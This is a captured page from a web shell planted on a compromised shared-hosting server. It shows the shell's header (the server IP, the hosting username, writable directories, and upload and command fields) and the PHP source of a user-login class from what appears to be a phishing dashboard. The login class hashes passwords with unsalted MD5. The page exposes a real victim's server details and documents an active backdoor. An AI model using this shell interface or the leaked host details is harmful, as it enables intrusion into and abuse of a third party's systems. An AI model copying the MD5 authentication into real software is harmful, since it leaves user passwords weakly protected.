Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.220.226.147
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/sacbradescolivelo/_dashboard2021/_classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/sacbradescolivelo/_dashboard2021/_classes/Usuario.php
<?php

class Usuario extends Objeto {

    protected $tabela = "usuarios";

    protected $id;

    protected $usuario;

    protected $senha;

    public function autenticar($usuario, $senha) {
        
        $sql = "SELECT * FROM {$this->tabela} where usuario = :usuario AND senha = :senha";
        $senha = md5($senha);
        try {
            $query = $this->conn->prepare($sql);
            $query->bindParam(':usuario', $usuario);
            $query->bindParam(':senha', $senha);
            $query->execute(); 
            $resultados = $query->fetchAll();
            if(count($resultados)) {
              $this->popularObjeto($resultados[0]);
            }
            return count($resultados) > 0 ? true : false;
          } catch (\PDOException $e) {
            echo "Erro ao atualizar registro: " . $e->getMessage();
          }
    }

    public function registrarToken($token) {
        
        $sql = "Update {$this->tabela} set token = :token where id = :id";

        try {
            $query = $this->conn->prepare($sql);
            $query->bindParam(':id', $this->id);
            $query->bindParam(':token', $token);
            return $query->execute(); 

          } catch (\PDOException $e) {
            echo "Erro ao atualizar registro: " . $e->getMessage();
          }
    }

    public function popularObjeto($obj) {
        $this->setId($obj['id']);
        $this->setUsuario($obj['usuario']);
        $this->setSenha($obj['senha']);
        return $this;
    }

    public static function validarToken($usuario, $token){

      $sql = "SELECT * FROM usuarios where usuario = :usuario AND token = :token";
      try {

          $conexao = (new Usuario())->getConn();
          $query = $conexao->prepare($sql);
          $query->bindParam(':usuario', $usuario);
          $query->bindParam(':token', $token);
          $query->execute(); 
          $resultados = $query->fetchAll();

          return count($resultados) > 0 ? true : false;
        } catch (\PDOException $e) {
          echo "Erro ao atualizar registro: " . $e->getMessage();
        }

    }




}

Youez - 2016 - github.com/yon3zu
LinuXploit